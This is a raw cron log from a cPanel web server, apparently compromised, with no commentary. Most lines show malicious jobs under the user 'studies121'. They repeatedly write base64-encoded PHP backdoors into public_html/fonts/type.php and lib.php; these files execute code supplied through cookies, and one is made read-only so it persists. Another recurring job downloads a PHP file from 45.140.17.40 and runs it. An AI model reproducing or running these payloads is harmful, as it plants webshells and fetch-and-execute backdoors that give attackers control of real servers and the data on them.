Aug 30 23:10:01 ip-184-168-122-23 CROND[23110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:10:01 ip-184-168-122-23 CROND[23111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:11:01 ip-184-168-122-23 CROND[23203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:11:01 ip-184-168-122-23 CROND[23205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:11:01 ip-184-168-122-23 CROND[23206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:11:01 ip-184-168-122-23 CROND[23209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:12:02 ip-184-168-122-23 CROND[23289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:12:02 ip-184-168-122-23 CROND[23293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:12:02 ip-184-168-122-23 CROND[23290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:12:02 ip-184-168-122-23 CROND[23291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:12:02 ip-184-168-122-23 CROND[23292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:13:01 ip-184-168-122-23 CROND[23462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:13:01 ip-184-168-122-23 CROND[23465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:13:01 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:13:01 ip-184-168-122-23 CROND[23464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:14:01 ip-184-168-122-23 CROND[23547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:14:01 ip-184-168-122-23 CROND[23551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:14:01 ip-184-168-122-23 CROND[23553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:14:01 ip-184-168-122-23 CROND[23550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:14:01 ip-184-168-122-23 CROND[23554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:15:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:15:01 ip-184-168-122-23 CROND[23634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:15:01 ip-184-168-122-23 CROND[23635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:15:01 ip-184-168-122-23 CROND[23638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:15:01 ip-184-168-122-23 CROND[23637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:15:01 ip-184-168-122-23 CROND[23639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:16:01 ip-184-168-122-23 CROND[23741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:16:01 ip-184-168-122-23 CROND[23742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:16:01 ip-184-168-122-23 CROND[23745]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:16:01 ip-184-168-122-23 CROND[23748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:16:01 ip-184-168-122-23 CROND[23746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:16:01 ip-184-168-122-23 CROND[23747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:17:01 ip-184-168-122-23 CROND[23836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:17:01 ip-184-168-122-23 CROND[23837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:17:01 ip-184-168-122-23 CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:17:01 ip-184-168-122-23 CROND[23840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:18:01 ip-184-168-122-23 CROND[24003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:18:01 ip-184-168-122-23 CROND[24005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:18:01 ip-184-168-122-23 CROND[24007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:18:01 ip-184-168-122-23 CROND[24004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:18:01 ip-184-168-122-23 CROND[24008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:19:02 ip-184-168-122-23 CROND[24088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:19:02 ip-184-168-122-23 CROND[24089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:19:02 ip-184-168-122-23 CROND[24090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:19:02 ip-184-168-122-23 CROND[24094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:20:01 ip-184-168-122-23 CROND[24183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:20:01 ip-184-168-122-23 CROND[24189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:20:01 ip-184-168-122-23 CROND[24190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:21:01 ip-184-168-122-23 CROND[24278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:21:01 ip-184-168-122-23 CROND[24281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:21:01 ip-184-168-122-23 CROND[24280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:21:01 ip-184-168-122-23 CROND[24282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:22:01 ip-184-168-122-23 CROND[24358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:22:01 ip-184-168-122-23 CROND[24360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:22:01 ip-184-168-122-23 CROND[24359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
